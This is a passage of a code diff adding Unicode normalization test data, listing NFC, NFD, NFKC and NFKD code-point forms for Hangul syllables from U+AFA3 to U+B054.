+{ source: [0xAFA3], NFC: [0xAFA3], NFD: [0x1101, 0x116D, 0x11AE], NFKC: [0xAFA3], NFKD: [0x1101, 0x116D, 0x11AE] },
+{ source: [0xAFA4], NFC: [0xAFA4], NFD: [0x1101, 0x116D, 0x11AF], NFKC: [0xAFA4], NFKD: [0x1101, 0x116D, 0x11AF] },
+{ source: [0xAFA5], NFC: [0xAFA5], NFD: [0x1101, 0x116D, 0x11B0], NFKC: [0xAFA5], NFKD: [0x1101, 0x116D, 0x11B0] },
+{ source: [0xAFA6], NFC: [0xAFA6], NFD: [0x1101, 0x116D, 0x11B1], NFKC: [0xAFA6], NFKD: [0x1101, 0x116D, 0x11B1] },
+{ source: [0xAFA7], NFC: [0xAFA7], NFD: [0x1101, 0x116D, 0x11B2], NFKC: [0xAFA7], NFKD: [0x1101, 0x116D, 0x11B2] },
+{ source: [0xAFA8], NFC: [0xAFA8], NFD: [0x1101, 0x116D, 0x11B3], NFKC: [0xAFA8], NFKD: [0x1101, 0x116D, 0x11B3] },
+{ source: [0xAFA9], NFC: [0xAFA9], NFD: [0x1101, 0x116D, 0x11B4], NFKC: [0xAFA9], NFKD: [0x1101, 0x116D, 0x11B4] },
+{ source: [0xAFAA], NFC: [0xAFAA], NFD: [0x1101, 0x116D, 0x11B5], NFKC: [0xAFAA], NFKD: [0x1101, 0x116D, 0x11B5] },
+{ source: [0xAFAB], NFC: [0xAFAB], NFD: [0x1101, 0x116D, 0x11B6], NFKC: [0xAFAB], NFKD: [0x1101, 0x116D, 0x11B6] },
+{ source: [0xAFAC], NFC: [0xAFAC], NFD: [0x1101, 0x116D, 0x11B7], NFKC: [0xAFAC], NFKD: [0x1101, 0x116D, 0x11B7] },
+{ source: [0xAFAD], NFC: [0xAFAD], NFD: [0x1101, 0x116D, 0x11B8], NFKC: [0xAFAD], NFKD: [0x1101, 0x116D, 0x11B8] },
+{ source: [0xAFAE], NFC: [0xAFAE], NFD: [0x1101, 0x116D, 0x11B9], NFKC: [0xAFAE], NFKD: [0x1101, 0x116D, 0x11B9] },
+{ source: [0xAFAF], NFC: [0xAFAF], NFD: [0x1101, 0x116D, 0x11BA], NFKC: [0xAFAF], NFKD: [0x1101, 0x116D, 0x11BA] },
+{ source: [0xAFB0], NFC: [0xAFB0], NFD: [0x1101, 0x116D, 0x11BB], NFKC: [0xAFB0], NFKD: [0x1101, 0x116D, 0x11BB] },
+{ source: [0xAFB1], NFC: [0xAFB1], NFD: [0x1101, 0x116D, 0x11BC], NFKC: [0xAFB1], NFKD: [0x1101, 0x116D, 0x11BC] },
+{ source: [0xAFB2], NFC: [0xAFB2], NFD: [0x1101, 0x116D, 0x11BD], NFKC: [0xAFB2], NFKD: [0x1101, 0x116D, 0x11BD] },
+{ source: [0xAFB3], NFC: [0xAFB3], NFD: [0x1101, 0x116D, 0x11BE], NFKC: [0xAFB3], NFKD: [0x1101, 0x116D, 0x11BE] },
+{ source: [0xAFB4], NFC: [0xAFB4], NFD: [0x1101, 0x116D, 0x11BF], NFKC: [0xAFB4], NFKD: [0x1101, 0x116D, 0x11BF] },
+{ source: [0xAFB5], NFC: [0xAFB5], NFD: [0x1101, 0x116D, 0x11C0], NFKC: [0xAFB5], NFKD: [0x1101, 0x116D, 0x11C0] },
+{ source: [0xAFB6], NFC: [0xAFB6], NFD: [0x1101, 0x116D, 0x11C1], NFKC: [0xAFB6], NFKD: [0x1101, 0x116D, 0x11C1] },
+{ source: [0xAFB7], NFC: [0xAFB7], NFD: [0x1101, 0x116D, 0x11C2], NFKC: [0xAFB7], NFKD: [0x1101, 0x116D, 0x11C2] },
+{ source: [0xAFB8], NFC: [0xAFB8], NFD: [0x1101, 0x116E], NFKC: [0xAFB8], NFKD: [0x1101, 0x116E] },
+{ source: [0xAFB9], NFC: [0xAFB9], NFD: [0x1101, 0x116E, 0x11A8], NFKC: [0xAFB9], NFKD: [0x1101, 0x116E, 0x11A8] },
+{ source: [0xAFBA], NFC: [0xAFBA], NFD: [0x1101, 0x116E, 0x11A9], NFKC: [0xAFBA], NFKD: [0x1101, 0x116E, 0x11A9] },
+{ source: [0xAFBB], NFC: [0xAFBB], NFD: [0x1101, 0x116E, 0x11AA], NFKC: [0xAFBB], NFKD: [0x1101, 0x116E, 0x11AA] },
+{ source: [0xAFBC], NFC: [0xAFBC], NFD: [0x1101, 0x116E, 0x11AB], NFKC: [0xAFBC], NFKD: [0x1101, 0x116E, 0x11AB] },
+{ source: [0xAFBD], NFC: [0xAFBD], NFD: [0x1101, 0x116E, 0x11AC], NFKC: [0xAFBD], NFKD: [0x1101, 0x116E, 0x11AC] },
+{ source: [0xAFBE], NFC: [0xAFBE], NFD: [0x1101, 0x116E, 0x11AD], NFKC: [0xAFBE], NFKD: [0x1101, 0x116E, 0x11AD] },
+{ source: [0xAFBF], NFC: [0xAFBF], NFD: [0x1101, 0x116E, 0x11AE], NFKC: [0xAFBF], NFKD: [0x1101, 0x116E, 0x11AE] },
+{ source: [0xAFC0], NFC: [0xAFC0], NFD: [0x1101, 0x116E, 0x11AF], NFKC: [0xAFC0], NFKD: [0x1101, 0x116E, 0x11AF] },
+{ source: [0xAFC1], NFC: [0xAFC1], NFD: [0x1101, 0x116E, 0x11B0], NFKC: [0xAFC1], NFKD: [0x1101, 0x116E, 0x11B0] },
+{ source: [0xAFC2], NFC: [0xAFC2], NFD: [0x1101, 0x116E, 0x11B1], NFKC: [0xAFC2], NFKD: [0x1101, 0x116E, 0x11B1] },
+{ source: [0xAFC3], NFC: [0xAFC3], NFD: [0x1101, 0x116E, 0x11B2], NFKC: [0xAFC3], NFKD: [0x1101, 0x116E, 0x11B2] },
+{ source: [0xAFC4], NFC: [0xAFC4], NFD: [0x1101, 0x116E, 0x11B3], NFKC: [0xAFC4], NFKD: [0x1101, 0x116E, 0x11B3] },
+{ source: [0xAFC5], NFC: [0xAFC5], NFD: [0x1101, 0x116E, 0x11B4], NFKC: [0xAFC5], NFKD: [0x1101, 0x116E, 0x11B4] },
+{ source: [0xAFC6], NFC: [0xAFC6], NFD: [0x1101, 0x116E, 0x11B5], NFKC: [0xAFC6], NFKD: [0x1101, 0x116E, 0x11B5] },
+{ source: [0xAFC7], NFC: [0xAFC7], NFD: [0x1101, 0x116E, 0x11B6], NFKC: [0xAFC7], NFKD: [0x1101, 0x116E, 0x11B6] },
+{ source: [0xAFC8], NFC: [0xAFC8], NFD: [0x1101, 0x116E, 0x11B7], NFKC: [0xAFC8], NFKD: [0x1101, 0x116E, 0x11B7] },
+{ source: [0xAFC9], NFC: [0xAFC9], NFD: [0x1101, 0x116E, 0x11B8], NFKC: [0xAFC9], NFKD: [0x1101, 0x116E, 0x11B8] },
+{ source: [0xAFCA], NFC: [0xAFCA], NFD: [0x1101, 0x116E, 0x11B9], NFKC: [0xAFCA], NFKD: [0x1101, 0x116E, 0x11B9] },
+{ source: [0xAFCB], NFC: [0xAFCB], NFD: [0x1101, 0x116E, 0x11BA], NFKC: [0xAFCB], NFKD: [0x1101, 0x116E, 0x11BA] },
+{ source: [0xAFCC], NFC: [0xAFCC], NFD: [0x1101, 0x116E, 0x11BB], NFKC: [0xAFCC], NFKD: [0x1101, 0x116E, 0x11BB] },
+{ source: [0xAFCD], NFC: [0xAFCD], NFD: [0x1101, 0x116E, 0x11BC], NFKC: [0xAFCD], NFKD: [0x1101, 0x116E, 0x11BC] },
+{ source: [0xAFCE], NFC: [0xAFCE], NFD: [0x1101, 0x116E, 0x11BD], NFKC: [0xAFCE], NFKD: [0x1101, 0x116E, 0x11BD] },
+{ source: [0xAFCF], NFC: [0xAFCF], NFD: [0x1101, 0x116E, 0x11BE], NFKC: [0xAFCF], NFKD: [0x1101, 0x116E, 0x11BE] },
+{ source: [0xAFD0], NFC: [0xAFD0], NFD: [0x1101, 0x116E, 0x11BF], NFKC: [0xAFD0], NFKD: [0x1101, 0x116E, 0x11BF] },
+{ source: [0xAFD1], NFC: [0xAFD1], NFD: [0x1101, 0x116E, 0x11C0], NFKC: [0xAFD1], NFKD: [0x1101, 0x116E, 0x11C0] },
+{ source: [0xAFD2], NFC: [0xAFD2], NFD: [0x1101, 0x116E, 0x11C1], NFKC: [0xAFD2], NFKD: [0x1101, 0x116E, 0x11C1] },
+{ source: [0xAFD3], NFC: [0xAFD3], NFD: [0x1101, 0x116E, 0x11C2], NFKC: [0xAFD3], NFKD: [0x1101, 0x116E, 0x11C2] },
+{ source: [0xAFD4], NFC: [0xAFD4], NFD: [0x1101, 0x116F], NFKC: [0xAFD4], NFKD: [0x1101, 0x116F] },
+{ source: [0xAFD5], NFC: [0xAFD5], NFD: [0x1101, 0x116F, 0x11A8], NFKC: [0xAFD5], NFKD: [0x1101, 0x116F, 0x11A8] },
+{ source: [0xAFD6], NFC: [0xAFD6], NFD: [0x1101, 0x116F, 0x11A9], NFKC: [0xAFD6], NFKD: [0x1101, 0x116F, 0x11A9] },
+{ source: [0xAFD7], NFC: [0xAFD7], NFD: [0x1101, 0x116F, 0x11AA], NFKC: [0xAFD7], NFKD: [0x1101, 0x116F, 0x11AA] },
+{ source: [0xAFD8], NFC: [0xAFD8], NFD: [0x1101, 0x116F, 0x11AB], NFKC: [0xAFD8], NFKD: [0x1101, 0x116F, 0x11AB] },
+{ source: [0xAFD9], NFC: [0xAFD9], NFD: [0x1101, 0x116F, 0x11AC], NFKC: [0xAFD9], NFKD: [0x1101, 0x116F, 0x11AC] },
+{ source: [0xAFDA], NFC: [0xAFDA], NFD: [0x1101, 0x116F, 0x11AD], NFKC: [0xAFDA], NFKD: [0x1101, 0x116F, 0x11AD] },
+{ source: [0xAFDB], NFC: [0xAFDB], NFD: [0x1101, 0x116F, 0x11AE], NFKC: [0xAFDB], NFKD: [0x1101, 0x116F, 0x11AE] },
+{ source: [0xAFDC], NFC: [0xAFDC], NFD: [0x1101, 0x116F, 0x11AF], NFKC: [0xAFDC], NFKD: [0x1101, 0x116F, 0x11AF] },
+{ source: [0xAFDD], NFC: [0xAFDD], NFD: [0x1101, 0x116F, 0x11B0], NFKC: [0xAFDD], NFKD: [0x1101, 0x116F, 0x11B0] },
+{ source: [0xAFDE], NFC: [0xAFDE], NFD: [0x1101, 0x116F, 0x11B1], NFKC: [0xAFDE], NFKD: [0x1101, 0x116F, 0x11B1] },
+{ source: [0xAFDF], NFC: [0xAFDF], NFD: [0x1101, 0x116F, 0x11B2], NFKC: [0xAFDF], NFKD: [0x1101, 0x116F, 0x11B2] },
+{ source: [0xAFE0], NFC: [0xAFE0], NFD: [0x1101, 0x116F, 0x11B3], NFKC: [0xAFE0], NFKD: [0x1101, 0x116F, 0x11B3] },
+{ source: [0xAFE1], NFC: [0xAFE1], NFD: [0x1101, 0x116F, 0x11B4], NFKC: [0xAFE1], NFKD: [0x1101, 0x116F, 0x11B4] },
+{ source: [0xAFE2], NFC: [0xAFE2], NFD: [0x1101, 0x116F, 0x11B5], NFKC: [0xAFE2], NFKD: [0x1101, 0x116F, 0x11B5] },
+{ source: [0xAFE3], NFC: [0xAFE3], NFD: [0x1101, 0x116F, 0x11B6], NFKC: [0xAFE3], NFKD: [0x1101, 0x116F, 0x11B6] },
+{ source: [0xAFE4], NFC: [0xAFE4], NFD: [0x1101, 0x116F, 0x11B7], NFKC: [0xAFE4], NFKD: [0x1101, 0x116F, 0x11B7] },
+{ source: [0xAFE5], NFC: [0xAFE5], NFD: [0x1101, 0x116F, 0x11B8], NFKC: [0xAFE5], NFKD: [0x1101, 0x116F, 0x11B8] },
+{ source: [0xAFE6], NFC: [0xAFE6], NFD: [0x1101, 0x116F, 0x11B9], NFKC: [0xAFE6], NFKD: [0x1101, 0x116F, 0x11B9] },
+{ source: [0xAFE7], NFC: [0xAFE7], NFD: [0x1101, 0x116F, 0x11BA], NFKC: [0xAFE7], NFKD: [0x1101, 0x116F, 0x11BA] },
+{ source: [0xAFE8], NFC: [0xAFE8], NFD: [0x1101, 0x116F, 0x11BB], NFKC: [0xAFE8], NFKD: [0x1101, 0x116F, 0x11BB] },
+{ source: [0xAFE9], NFC: [0xAFE9], NFD: [0x1101, 0x116F, 0x11BC], NFKC: [0xAFE9], NFKD: [0x1101, 0x116F, 0x11BC] },
+{ source: [0xAFEA], NFC: [0xAFEA], NFD: [0x1101, 0x116F, 0x11BD], NFKC: [0xAFEA], NFKD: [0x1101, 0x116F, 0x11BD] },
+{ source: [0xAFEB], NFC: [0xAFEB], NFD: [0x1101, 0x116F, 0x11BE], NFKC: [0xAFEB], NFKD: [0x1101, 0x116F, 0x11BE] },
+{ source: [0xAFEC], NFC: [0xAFEC], NFD: [0x1101, 0x116F, 0x11BF], NFKC: [0xAFEC], NFKD: [0x1101, 0x116F, 0x11BF] },
+{ source: [0xAFED], NFC: [0xAFED], NFD: [0x1101, 0x116F, 0x11C0], NFKC: [0xAFED], NFKD: [0x1101, 0x116F, 0x11C0] },
+{ source: [0xAFEE], NFC: [0xAFEE], NFD: [0x1101, 0x116F, 0x11C1], NFKC: [0xAFEE], NFKD: [0x1101, 0x116F, 0x11C1] },
+{ source: [0xAFEF], NFC: [0xAFEF], NFD: [0x1101, 0x116F, 0x11C2], NFKC: [0xAFEF], NFKD: [0x1101, 0x116F, 0x11C2] },
+{ source: [0xAFF0], NFC: [0xAFF0], NFD: [0x1101, 0x1170], NFKC: [0xAFF0], NFKD: [0x1101, 0x1170] },
+{ source: [0xAFF1], NFC: [0xAFF1], NFD: [0x1101, 0x1170, 0x11A8], NFKC: [0xAFF1], NFKD: [0x1101, 0x1170, 0x11A8] },
+{ source: [0xAFF2], NFC: [0xAFF2], NFD: [0x1101, 0x1170, 0x11A9], NFKC: [0xAFF2], NFKD: [0x1101, 0x1170, 0x11A9] },
+{ source: [0xAFF3], NFC: [0xAFF3], NFD: [0x1101, 0x1170, 0x11AA], NFKC: [0xAFF3], NFKD: [0x1101, 0x1170, 0x11AA] },
+{ source: [0xAFF4], NFC: [0xAFF4], NFD: [0x1101, 0x1170, 0x11AB], NFKC: [0xAFF4], NFKD: [0x1101, 0x1170, 0x11AB] },
+{ source: [0xAFF5], NFC: [0xAFF5], NFD: [0x1101, 0x1170, 0x11AC], NFKC: [0xAFF5], NFKD: [0x1101, 0x1170, 0x11AC] },
+{ source: [0xAFF6], NFC: [0xAFF6], NFD: [0x1101, 0x1170, 0x11AD], NFKC: [0xAFF6], NFKD: [0x1101, 0x1170, 0x11AD] },
+{ source: [0xAFF7], NFC: [0xAFF7], NFD: [0x1101, 0x1170, 0x11AE], NFKC: [0xAFF7], NFKD: [0x1101, 0x1170, 0x11AE] },
+{ source: [0xAFF8], NFC: [0xAFF8], NFD: [0x1101, 0x1170, 0x11AF], NFKC: [0xAFF8], NFKD: [0x1101, 0x1170, 0x11AF] },
+{ source: [0xAFF9], NFC: [0xAFF9], NFD: [0x1101, 0x1170, 0x11B0], NFKC: [0xAFF9], NFKD: [0x1101, 0x1170, 0x11B0] },
+{ source: [0xAFFA], NFC: [0xAFFA], NFD: [0x1101, 0x1170, 0x11B1], NFKC: [0xAFFA], NFKD: [0x1101, 0x1170, 0x11B1] },
+{ source: [0xAFFB], NFC: [0xAFFB], NFD: [0x1101, 0x1170, 0x11B2], NFKC: [0xAFFB], NFKD: [0x1101, 0x1170, 0x11B2] },
+{ source: [0xAFFC], NFC: [0xAFFC], NFD: [0x1101, 0x1170, 0x11B3], NFKC: [0xAFFC], NFKD: [0x1101, 0x1170, 0x11B3] },
+{ source: [0xAFFD], NFC: [0xAFFD], NFD: [0x1101, 0x1170, 0x11B4], NFKC: [0xAFFD], NFKD: [0x1101, 0x1170, 0x11B4] },
+{ source: [0xAFFE], NFC: [0xAFFE], NFD: [0x1101, 0x1170, 0x11B5], NFKC: [0xAFFE], NFKD: [0x1101, 0x1170, 0x11B5] },
+{ source: [0xAFFF], NFC: [0xAFFF], NFD: [0x1101, 0x1170, 0x11B6], NFKC: [0xAFFF], NFKD: [0x1101, 0x1170, 0x11B6] },
+{ source: [0xB000], NFC: [0xB000], NFD: [0x1101, 0x1170, 0x11B7], NFKC: [0xB000], NFKD: [0x1101, 0x1170, 0x11B7] },
+{ source: [0xB001], NFC: [0xB001], NFD: [0x1101, 0x1170, 0x11B8], NFKC: [0xB001], NFKD: [0x1101, 0x1170, 0x11B8] },
+{ source: [0xB002], NFC: [0xB002], NFD: [0x1101, 0x1170, 0x11B9], NFKC: [0xB002], NFKD: [0x1101, 0x1170, 0x11B9] },
+{ source: [0xB003], NFC: [0xB003], NFD: [0x1101, 0x1170, 0x11BA], NFKC: [0xB003], NFKD: [0x1101, 0x1170, 0x11BA] },
+{ source: [0xB004], NFC: [0xB004], NFD: [0x1101, 0x1170, 0x11BB], NFKC: [0xB004], NFKD: [0x1101, 0x1170, 0x11BB] },
+{ source: [0xB005], NFC: [0xB005], NFD: [0x1101, 0x1170, 0x11BC], NFKC: [0xB005], NFKD: [0x1101, 0x1170, 0x11BC] },
+{ source: [0xB006], NFC: [0xB006], NFD: [0x1101, 0x1170, 0x11BD], NFKC: [0xB006], NFKD: [0x1101, 0x1170, 0x11BD] },
+{ source: [0xB007], NFC: [0xB007], NFD: [0x1101, 0x1170, 0x11BE], NFKC: [0xB007], NFKD: [0x1101, 0x1170, 0x11BE] },
+{ source: [0xB008], NFC: [0xB008], NFD: [0x1101, 0x1170, 0x11BF], NFKC: [0xB008], NFKD: [0x1101, 0x1170, 0x11BF] },
+{ source: [0xB009], NFC: [0xB009], NFD: [0x1101, 0x1170, 0x11C0], NFKC: [0xB009], NFKD: [0x1101, 0x1170, 0x11C0] },
+{ source: [0xB00A], NFC: [0xB00A], NFD: [0x1101, 0x1170, 0x11C1], NFKC: [0xB00A], NFKD: [0x1101, 0x1170, 0x11C1] },
+{ source: [0xB00B], NFC: [0xB00B], NFD: [0x1101, 0x1170, 0x11C2], NFKC: [0xB00B], NFKD: [0x1101, 0x1170, 0x11C2] },
+{ source: [0xB00C], NFC: [0xB00C], NFD: [0x1101, 0x1171], NFKC: [0xB00C], NFKD: [0x1101, 0x1171] },
+{ source: [0xB00D], NFC: [0xB00D], NFD: [0x1101, 0x1171, 0x11A8], NFKC: [0xB00D], NFKD: [0x1101, 0x1171, 0x11A8] },
+{ source: [0xB00E], NFC: [0xB00E], NFD: [0x1101, 0x1171, 0x11A9], NFKC: [0xB00E], NFKD: [0x1101, 0x1171, 0x11A9] },
+{ source: [0xB00F], NFC: [0xB00F], NFD: [0x1101, 0x1171, 0x11AA], NFKC: [0xB00F], NFKD: [0x1101, 0x1171, 0x11AA] },
+{ source: [0xB010], NFC: [0xB010], NFD: [0x1101, 0x1171, 0x11AB], NFKC: [0xB010], NFKD: [0x1101, 0x1171, 0x11AB] },
+{ source: [0xB011], NFC: [0xB011], NFD: [0x1101, 0x1171, 0x11AC], NFKC: [0xB011], NFKD: [0x1101, 0x1171, 0x11AC] },
+{ source: [0xB012], NFC: [0xB012], NFD: [0x1101, 0x1171, 0x11AD], NFKC: [0xB012], NFKD: [0x1101, 0x1171, 0x11AD] },
+{ source: [0xB013], NFC: [0xB013], NFD: [0x1101, 0x1171, 0x11AE], NFKC: [0xB013], NFKD: [0x1101, 0x1171, 0x11AE] },
+{ source: [0xB014], NFC: [0xB014], NFD: [0x1101, 0x1171, 0x11AF], NFKC: [0xB014], NFKD: [0x1101, 0x1171, 0x11AF] },
+{ source: [0xB015], NFC: [0xB015], NFD: [0x1101, 0x1171, 0x11B0], NFKC: [0xB015], NFKD: [0x1101, 0x1171, 0x11B0] },
+{ source: [0xB016], NFC: [0xB016], NFD: [0x1101, 0x1171, 0x11B1], NFKC: [0xB016], NFKD: [0x1101, 0x1171, 0x11B1] },
+{ source: [0xB017], NFC: [0xB017], NFD: [0x1101, 0x1171, 0x11B2], NFKC: [0xB017], NFKD: [0x1101, 0x1171, 0x11B2] },
+{ source: [0xB018], NFC: [0xB018], NFD: [0x1101, 0x1171, 0x11B3], NFKC: [0xB018], NFKD: [0x1101, 0x1171, 0x11B3] },
+{ source: [0xB019], NFC: [0xB019], NFD: [0x1101, 0x1171, 0x11B4], NFKC: [0xB019], NFKD: [0x1101, 0x1171, 0x11B4] },
+{ source: [0xB01A], NFC: [0xB01A], NFD: [0x1101, 0x1171, 0x11B5], NFKC: [0xB01A], NFKD: [0x1101, 0x1171, 0x11B5] },
+{ source: [0xB01B], NFC: [0xB01B], NFD: [0x1101, 0x1171, 0x11B6], NFKC: [0xB01B], NFKD: [0x1101, 0x1171, 0x11B6] },
+{ source: [0xB01C], NFC: [0xB01C], NFD: [0x1101, 0x1171, 0x11B7], NFKC: [0xB01C], NFKD: [0x1101, 0x1171, 0x11B7] },
+{ source: [0xB01D], NFC: [0xB01D], NFD: [0x1101, 0x1171, 0x11B8], NFKC: [0xB01D], NFKD: [0x1101, 0x1171, 0x11B8] },
+{ source: [0xB01E], NFC: [0xB01E], NFD: [0x1101, 0x1171, 0x11B9], NFKC: [0xB01E], NFKD: [0x1101, 0x1171, 0x11B9] },
+{ source: [0xB01F], NFC: [0xB01F], NFD: [0x1101, 0x1171, 0x11BA], NFKC: [0xB01F], NFKD: [0x1101, 0x1171, 0x11BA] },
+{ source: [0xB020], NFC: [0xB020], NFD: [0x1101, 0x1171, 0x11BB], NFKC: [0xB020], NFKD: [0x1101, 0x1171, 0x11BB] },
+{ source: [0xB021], NFC: [0xB021], NFD: [0x1101, 0x1171, 0x11BC], NFKC: [0xB021], NFKD: [0x1101, 0x1171, 0x11BC] },
+{ source: [0xB022], NFC: [0xB022], NFD: [0x1101, 0x1171, 0x11BD], NFKC: [0xB022], NFKD: [0x1101, 0x1171, 0x11BD] },
+{ source: [0xB023], NFC: [0xB023], NFD: [0x1101, 0x1171, 0x11BE], NFKC: [0xB023], NFKD: [0x1101, 0x1171, 0x11BE] },
+{ source: [0xB024], NFC: [0xB024], NFD: [0x1101, 0x1171, 0x11BF], NFKC: [0xB024], NFKD: [0x1101, 0x1171, 0x11BF] },
+{ source: [0xB025], NFC: [0xB025], NFD: [0x1101, 0x1171, 0x11C0], NFKC: [0xB025], NFKD: [0x1101, 0x1171, 0x11C0] },
+{ source: [0xB026], NFC: [0xB026], NFD: [0x1101, 0x1171, 0x11C1], NFKC: [0xB026], NFKD: [0x1101, 0x1171, 0x11C1] },
+{ source: [0xB027], NFC: [0xB027], NFD: [0x1101, 0x1171, 0x11C2], NFKC: [0xB027], NFKD: [0x1101, 0x1171, 0x11C2] },
+{ source: [0xB028], NFC: [0xB028], NFD: [0x1101, 0x1172], NFKC: [0xB028], NFKD: [0x1101, 0x1172] },
+{ source: [0xB029], NFC: [0xB029], NFD: [0x1101, 0x1172, 0x11A8], NFKC: [0xB029], NFKD: [0x1101, 0x1172, 0x11A8] },
+{ source: [0xB02A], NFC: [0xB02A], NFD: [0x1101, 0x1172, 0x11A9], NFKC: [0xB02A], NFKD: [0x1101, 0x1172, 0x11A9] },
+{ source: [0xB02B], NFC: [0xB02B], NFD: [0x1101, 0x1172, 0x11AA], NFKC: [0xB02B], NFKD: [0x1101, 0x1172, 0x11AA] },
+{ source: [0xB02C], NFC: [0xB02C], NFD: [0x1101, 0x1172, 0x11AB], NFKC: [0xB02C], NFKD: [0x1101, 0x1172, 0x11AB] },
+{ source: [0xB02D], NFC: [0xB02D], NFD: [0x1101, 0x1172, 0x11AC], NFKC: [0xB02D], NFKD: [0x1101, 0x1172, 0x11AC] },
+{ source: [0xB02E], NFC: [0xB02E], NFD: [0x1101, 0x1172, 0x11AD], NFKC: [0xB02E], NFKD: [0x1101, 0x1172, 0x11AD] },
+{ source: [0xB02F], NFC: [0xB02F], NFD: [0x1101, 0x1172, 0x11AE], NFKC: [0xB02F], NFKD: [0x1101, 0x1172, 0x11AE] },
+{ source: [0xB030], NFC: [0xB030], NFD: [0x1101, 0x1172, 0x11AF], NFKC: [0xB030], NFKD: [0x1101, 0x1172, 0x11AF] },
+{ source: [0xB031], NFC: [0xB031], NFD: [0x1101, 0x1172, 0x11B0], NFKC: [0xB031], NFKD: [0x1101, 0x1172, 0x11B0] },
+{ source: [0xB032], NFC: [0xB032], NFD: [0x1101, 0x1172, 0x11B1], NFKC: [0xB032], NFKD: [0x1101, 0x1172, 0x11B1] },
+{ source: [0xB033], NFC: [0xB033], NFD: [0x1101, 0x1172, 0x11B2], NFKC: [0xB033], NFKD: [0x1101, 0x1172, 0x11B2] },
+{ source: [0xB034], NFC: [0xB034], NFD: [0x1101, 0x1172, 0x11B3], NFKC: [0xB034], NFKD: [0x1101, 0x1172, 0x11B3] },
+{ source: [0xB035], NFC: [0xB035], NFD: [0x1101, 0x1172, 0x11B4], NFKC: [0xB035], NFKD: [0x1101, 0x1172, 0x11B4] },
+{ source: [0xB036], NFC: [0xB036], NFD: [0x1101, 0x1172, 0x11B5], NFKC: [0xB036], NFKD: [0x1101, 0x1172, 0x11B5] },
+{ source: [0xB037], NFC: [0xB037], NFD: [0x1101, 0x1172, 0x11B6], NFKC: [0xB037], NFKD: [0x1101, 0x1172, 0x11B6] },
+{ source: [0xB038], NFC: [0xB038], NFD: [0x1101, 0x1172, 0x11B7], NFKC: [0xB038], NFKD: [0x1101, 0x1172, 0x11B7] },
+{ source: [0xB039], NFC: [0xB039], NFD: [0x1101, 0x1172, 0x11B8], NFKC: [0xB039], NFKD: [0x1101, 0x1172, 0x11B8] },
+{ source: [0xB03A], NFC: [0xB03A], NFD: [0x1101, 0x1172, 0x11B9], NFKC: [0xB03A], NFKD: [0x1101, 0x1172, 0x11B9] },
+{ source: [0xB03B], NFC: [0xB03B], NFD: [0x1101, 0x1172, 0x11BA], NFKC: [0xB03B], NFKD: [0x1101, 0x1172, 0x11BA] },
+{ source: [0xB03C], NFC: [0xB03C], NFD: [0x1101, 0x1172, 0x11BB], NFKC: [0xB03C], NFKD: [0x1101, 0x1172, 0x11BB] },
+{ source: [0xB03D], NFC: [0xB03D], NFD: [0x1101, 0x1172, 0x11BC], NFKC: [0xB03D], NFKD: [0x1101, 0x1172, 0x11BC] },
+{ source: [0xB03E], NFC: [0xB03E], NFD: [0x1101, 0x1172, 0x11BD], NFKC: [0xB03E], NFKD: [0x1101, 0x1172, 0x11BD] },
+{ source: [0xB03F], NFC: [0xB03F], NFD: [0x1101, 0x1172, 0x11BE], NFKC: [0xB03F], NFKD: [0x1101, 0x1172, 0x11BE] },
+{ source: [0xB040], NFC: [0xB040], NFD: [0x1101, 0x1172, 0x11BF], NFKC: [0xB040], NFKD: [0x1101, 0x1172, 0x11BF] },
+{ source: [0xB041], NFC: [0xB041], NFD: [0x1101, 0x1172, 0x11C0], NFKC: [0xB041], NFKD: [0x1101, 0x1172, 0x11C0] },
+{ source: [0xB042], NFC: [0xB042], NFD: [0x1101, 0x1172, 0x11C1], NFKC: [0xB042], NFKD: [0x1101, 0x1172, 0x11C1] },
+{ source: [0xB043], NFC: [0xB043], NFD: [0x1101, 0x1172, 0x11C2], NFKC: [0xB043], NFKD: [0x1101, 0x1172, 0x11C2] },
+{ source: [0xB044], NFC: [0xB044], NFD: [0x1101, 0x1173], NFKC: [0xB044], NFKD: [0x1101, 0x1173] },
+{ source: [0xB045], NFC: [0xB045], NFD: [0x1101, 0x1173, 0x11A8], NFKC: [0xB045], NFKD: [0x1101, 0x1173, 0x11A8] },
+{ source: [0xB046], NFC: [0xB046], NFD: [0x1101, 0x1173, 0x11A9], NFKC: [0xB046], NFKD: [0x1101, 0x1173, 0x11A9] },
+{ source: [0xB047], NFC: [0xB047], NFD: [0x1101, 0x1173, 0x11AA], NFKC: [0xB047], NFKD: [0x1101, 0x1173, 0x11AA] },
+{ source: [0xB048], NFC: [0xB048], NFD: [0x1101, 0x1173, 0x11AB], NFKC: [0xB048], NFKD: [0x1101, 0x1173, 0x11AB] },
+{ source: [0xB049], NFC: [0xB049], NFD: [0x1101, 0x1173, 0x11AC], NFKC: [0xB049], NFKD: [0x1101, 0x1173, 0x11AC] },
+{ source: [0xB04A], NFC: [0xB04A], NFD: [0x1101, 0x1173, 0x11AD], NFKC: [0xB04A], NFKD: [0x1101, 0x1173, 0x11AD] },
+{ source: [0xB04B], NFC: [0xB04B], NFD: [0x1101, 0x1173, 0x11AE], NFKC: [0xB04B], NFKD: [0x1101, 0x1173, 0x11AE] },
+{ source: [0xB04C], NFC: [0xB04C], NFD: [0x1101, 0x1173, 0x11AF], NFKC: [0xB04C], NFKD: [0x1101, 0x1173, 0x11AF] },
+{ source: [0xB04D], NFC: [0xB04D], NFD: [0x1101, 0x1173, 0x11B0], NFKC: [0xB04D], NFKD: [0x1101, 0x1173, 0x11B0] },
+{ source: [0xB04E], NFC: [0xB04E], NFD: [0x1101, 0x1173, 0x11B1], NFKC: [0xB04E], NFKD: [0x1101, 0x1173, 0x11B1] },
+{ source: [0xB04F], NFC: [0xB04F], NFD: [0x1101, 0x1173, 0x11B2], NFKC: [0xB04F], NFKD: [0x1101, 0x1173, 0x11B2] },
+{ source: [0xB050], NFC: [0xB050], NFD: [0x1101, 0x1173, 0x11B3], NFKC: [0xB050], NFKD: [0x1101, 0x1173, 0x11B3] },
+{ source: [0xB051], NFC: [0xB051], NFD: [0x1101, 0x1173, 0x11B4], NFKC: [0xB051], NFKD: [0x1101, 0x1173, 0x11B4] },
+{ source: [0xB052], NFC: [0xB052], NFD: [0x1101, 0x1173, 0x11B5], NFKC: [0xB052], NFKD: [0x1101, 0x1173, 0x11B5] },
+{ source: [0xB053], NFC: [0xB053], NFD: [0x1101, 0x1173, 0x11B6], NFKC: [0xB053], NFKD: [0x1101, 0x1173, 0x11B6] },
+{ source: [0xB054], NFC: [0xB054], NFD: [0x1101, 0x1173, 0x11B7], NFKC: [0xB054], NFKD: [0x1101, 0x1173, 0x11B7] },
